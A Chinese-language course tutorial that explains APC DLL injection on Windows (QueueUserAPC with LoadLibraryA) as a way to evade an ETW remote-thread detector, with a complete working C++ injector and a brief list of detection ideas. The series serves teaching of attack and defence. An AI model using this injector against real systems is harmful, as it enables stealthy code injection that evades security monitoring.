阅读时间: 3-4 分钟
前置知识: 理解进程注入原理、ETW 检测机制、Windows API 基础
学习目标: 掌握 APC 注入技术,理解攻防对抗的下一轮演变


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1RjWqzzEK8/


承接上节:检测遇到新挑战

上节课,防御者用 ETW 建立了一道防线:

  • 监听线程创建事件
  • 比对 CreatorPID 与 TargetPID
  • 一旦不相等,立即报警

这确实把 02 节的 Shellcode 注入检测得很彻底。

但作为攻击方,我们需要分析这个检测的弱点在哪里。


攻击方的分析思路

防御者的检测逻辑:监听线程创建事件,比对 CreatorPID 和 TargetPID。

作为攻击方,我们问自己:这个检测依赖什么?

答案是:依赖内核产生 ThreadStart 事件

这个事件什么时候产生?

  • 调用 CreateRemoteThread
  • 或者底层的 NtCreateThreadEx 系统调用

事件产生后,ETW 才能拿到 CreatorPID/TargetPID 进行比对。


找到了盲区

那么绕过思路就出来了:
不创建新线程 → 不触发系统调用 → 不产生事件 → 检测失效

这就是 ETW 检测的盲区:只能看到”创建”,看不到”复用”。


攻击者的新思路

既然检测的是”创建新线程”,那我就:
不创建新线程,复用目标进程现有的线程!

目标进程里已经有很多线程在运行
我只需要”借用”一个线程
让它帮我执行代码就行了

这样:

  • 进程的线程数量不变
  • 没有”外部创建”的痕迹
  • ETW 检测器完全沉默

两条不创建新线程的注入路径

不创建新线程,怎么执行代码?有两个方向:

方向1:APC 注入(本节重点)

  • 利用 Windows 的 APC(异步过程调用)机制
  • 把回调函数插入目标线程的 APC 队列
  • 当线程进入”可警报状态”时,自动执行我们的代码
  • 温和:不修改线程上下文,不改寄存器

方向2:线程劫持(下节讲解)

  • 暂停目标线程
  • 直接修改线程的 RIP/EIP 寄存器(执行指针)
  • 让线程去执行我们的代码
  • 强硬:需要保存和恢复上下文,风险更高

本节先讲 APC 注入,因为它更容易理解,也更安全。


什么是 APC?

APC 全称 Asynchronous Procedure Call(异步过程调用)

这是 Windows 线程调度的一个特性:

  • 每个线程都有一个 APC 队列
  • 其他代码可以往这个队列里插入函数
  • 当线程进入“可警报状态”(Alertable)时,系统会自动执行队列里的函数

什么是可警报状态(Alertable)?

当线程调用这些函数时,就进入可警报状态:

  • SleepEx(time, TRUE) – 可中断的睡眠
  • WaitForSingleObjectEx(..., TRUE) – 可中断的等待
  • WaitForMultipleObjectsEx(..., TRUE)
  • SignalObjectAndWait(..., TRUE)
  • MsgWaitForMultipleObjectsEx(..., TRUE)

注意最后一个参数必须是 TRUE(表示 Alertable)

实际应用中哪些线程容易进入 Alertable?

  • GUI 线程:消息循环中的等待
  • I/O 线程:等待异步 I/O 完成
  • 工作线程:等待任务队列

核心目标与技术路线

核心目标:不创建新线程,把 DLL 加载代码注入到目标进程

技术路线:使用 APC 队列 + LoadLibrary

验证标准

  1. DLL 成功加载到目标进程
  2. 03 的 ETW 监听器不报警(无新线程创建事件)
  3. 目标进程稳定运行

动手实现 APC 注入

第一步:打开目标进程

HANDLE hProcess = OpenProcess(
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
    FALSE,
    dwProcessId
);

权限说明:

  • PROCESS_VM_OPERATION – 内存操作权限
  • PROCESS_VM_WRITE – 写入内存权限
  • PROCESS_VM_READ – 读取内存权限

为什么不需要 PROCESS_CREATE_THREAD?
因为 APC 注入不创建新线程!这正是绕过 ETW 检测的关键。


第二步:在目标进程中分配内存并写入 DLL 路径

SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
    hProcess,
    NULL,
    pathLen,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL);

为什么是 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?

  • 这里只是存放字符串数据,不是代码
  • 不需要可执行权限
  • 降低可疑性

第三步:获取 LoadLibraryA 的地址

HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");

为什么这个地址能直接用?

这涉及到 Windows 的 DLL 基址重定位 机制:

  • kernel32.dll 在所有进程中加载到相同的地址
  • 这是 Windows 为了提高性能做的优化(共享物理内存)
  • 所以我们进程中的地址 = 目标进程中的地址

第四步:枚举线程并入队 APC(核心步骤)

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };

Thread32First(hSnapshot, &te32);
do {
    if (te32.th32OwnerProcessID == dwProcessId) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
        if (hThread) {
            QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath);
            CloseHandle(hThread);
        }
    }
} while (Thread32Next(hSnapshot, &te32));

QueueUserAPC 深入解析

DWORD QueueUserAPC(
    PAPCFUNC pfnAPC,        // 要执行的函数地址
    HANDLE hThread,         // 目标线程句柄
    ULONG_PTR dwData        // 传给函数的参数
);

执行逻辑:

  1. 入队阶段(现在):

    • LoadLibraryA 函数地址放入线程的 APC 队列
    • 参数 pRemotePath 也一起保存
    • 此时什么都不会执行,只是”登记”
  2. 派发阶段(未来某个时刻):

    • 当线程调用 SleepEx(time, TRUE)WaitForSingleObjectEx(..., TRUE)
    • 线程进入 Alertable 状态
    • 系统检查 APC 队列,发现有回调
    • 系统自动调用:LoadLibraryA(pRemotePath)
    • DLL 被加载!

为什么要入队到所有线程?

因为我们不知道哪个线程会进入 Alertable 状态:

  • 可能是主线程(GUI 消息循环)
  • 可能是 I/O 线程(等待异步操作)
  • 可能是工作线程(等待任务队列)

所以我们”广撒网”,给所有线程都入队,提高成功率。


完整代码

/**
 * @file 04-1-攻击篇-APC注入.cpp
 * @brief APC 注入示例 - 不创建新线程的注入方式
 * @author UD2
 * @date 2025-01-13
 *
 * @details
 * 本程序演示如何使用 APC (Asynchronous Procedure Call) 注入 DLL
 * 核心思路:
 * 1. 不创建新线程,复用目标进程现有线程
 * 2. 通过 QueueUserAPC 将 LoadLibraryA 加入线程的 APC 队列
 * 3. 当线程进入 Alertable 状态时,系统自动执行 LoadLibraryA
 *
 * 绕过原理:
 * - 不调用 CreateRemoteThread,不触发 NtCreateThreadEx
 * - 内核不产生 ThreadStart 事件
 * - ETW 监听器无法检测到远程线程创建
 *
 * 局限性:
 * - 必须等待线程进入 Alertable 状态 (SleepEx/WaitForSingleObjectEx(..., TRUE))
 * - 执行时机不可控
 *
 * 仅供防御性安全研究与教学使用,严禁用于恶意目的
 */

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

 /**
  * @brief 使用 APC 注入 DLL,不创建新线程
  * @param dwProcessId 目标进程 ID
  * @param dllPath DLL 文件完整路径
  * @return 成功返回 TRUE,失败返回 FALSE
  * @details 通过向目标进程的线程 APC 队列插入 LoadLibrary 调用来加载 DLL
  */
BOOL InjectDllWithAPC(DWORD dwProcessId, const char* dllPath)
{
    // 第一步:打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
        FALSE,
        dwProcessId
    );
    if (!hProcess)
    {
        std::cout << "打开进程失败,错误码: " << GetLastError() << "n";
        return FALSE;
    }
    std::cout << "成功打开目标进程n";
    // 第二步:在目标进程中分配内存并写入 DLL 路径
    SIZE_T pathLen = strlen(dllPath) + 1;
    LPVOID pRemotePath = VirtualAllocEx(
        hProcess,
        NULL,
        pathLen,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE
    );
    if (!pRemotePath)
    {
        std::cout << "分配内存失败n";
        CloseHandle(hProcess);
        return FALSE;
    }
    if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL))
    {
        std::cout << "写入 DLL 路径失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "DLL 路径写入地址: 0x" << std::hex << pRemotePath << std::dec << "n";
    // 第三步:获取 LoadLibraryA 函数地址
    HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
    LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
    if (!pLoadLibraryA)
    {
        std::cout << "获取 LoadLibraryA 地址失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "LoadLibraryA 地址: 0x" << std::hex << pLoadLibraryA << std::dec << "n";
    // 第四步:枚举线程并入队 APC
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
    {
        std::cout << "创建线程快照失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
    BOOL bSuccess = FALSE;
    int apcCount = 0;
    if (!Thread32First(hSnapshot, &te32))
    {
        CloseHandle(hSnapshot);
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    std::cout << "n开始枚举线程并入队 APC...n";
    // 遍历所有线程
    do
    {
        if (te32.th32OwnerProcessID == dwProcessId)
        {
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
            if (hThread)
            {
                if (QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath))
                {
                    std::cout << "  [+] APC 已入队到线程 " << te32.th32ThreadID << "n";
                    apcCount++;
                    bSuccess = TRUE;
                }
                CloseHandle(hThread);
            }
        }
    } while (Thread32Next(hSnapshot, &te32));
    CloseHandle(hSnapshot);
    // 第五步:输出结果
    if (bSuccess)
    {
        std::cout << "n=== APC 注入成功 ===n";
        std::cout << "已向 " << apcCount << " 个线程入队 APCn";
        std::cout << "等待目标线程进入 Alertable 状态...n";
        std::cout << "(线程调用 SleepEx/WaitForSingleObjectEx 等函数时会触发)n";
        std::cout << "n提示:没有创建新线程,ETW 检测器不会报警!n";
    }
    else
    {
        std::cout << "APC 入队失败n";
        VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return FALSE;
    }
    CloseHandle(hProcess);
    return TRUE;
}

/**
 * @brief 程序入口
 * @return 程序退出码
 */
int main()
{
    std::cout << "=== APC 注入 - 不创建新线程 ===nn";
    std::cout << "警告:本程序仅供防御性安全研究与教学使用n";
    std::cout << "      严禁用于恶意目的nn";

    DWORD targetPid;
    std::cout << "请输入目标进程 PID: ";
    std::cin >> targetPid;
    const char* dllPath = "C:\Injection.dll";
    InjectDllWithAPC(targetPid, dllPath);

    system("pause");
    return 0;
}

验证 APC 注入效果

测试步骤

  1. 启动 03 的 ETW 监听器

    • 监听目标进程的线程创建事件
  2. 运行 APC 注入程序

    • 输入目标进程 PID
    • 注入 DLL

验证效果

如图所示:

  • 左侧:APC 注入程序成功运行,DLL 被加载并弹出提示框
  • 右侧:ETW 监听器显示”无任何线程创建事件
  • 绕过成功! 没有创建新线程,检测器无法捕获

APC 注入的优势与局限

优势

  • ✅ 不创建新线程,避免触发线程创建事件
  • ✅ ETW 检测器无法检测
  • ✅ 复用现有线程,不改变进程线程数量
  • ✅ 不修改线程上下文,相对安全

局限

  • ❌ 依赖 Alertable 状态(必须等待线程进入可警报状态)
  • ❌ 执行时机不可控
  • ❌ 如果线程从不调用相关函数,APC 永远不会执行
  • ❌ 仍需要高权限访问和内存操作

防御者的反思

虽然 APC 注入绕过了线程创建检测,但并非无迹可寻。

可能的检测点:

  • 监控 QueueUserAPC 调用
  • 监控高权限进程访问
  • 检测未知模块加载
  • 行为关联分析

下节课预告

攻击者虽然绕过了 ETW 的线程创建检测,但 APC 注入真的完美无缺吗?

下节课,我们将回到防御者视角:检测 APC 注入

  • 防御者能监控到哪些关键行为?
  • 如何区分合法操作与恶意注入?
  • 能否构建完整的攻击链检测?

攻防螺旋再次上升!防御者不会坐以待毙!


互动讨论

欢迎在评论区讨论以下问题:

  1. 如果你是防御者,你会从哪个角度入手检测 APC 注入?
  2. APC 注入有什么其他可能的缺点或风险?
  3. 攻防对抗的本质是什么?

⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。

By UD2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注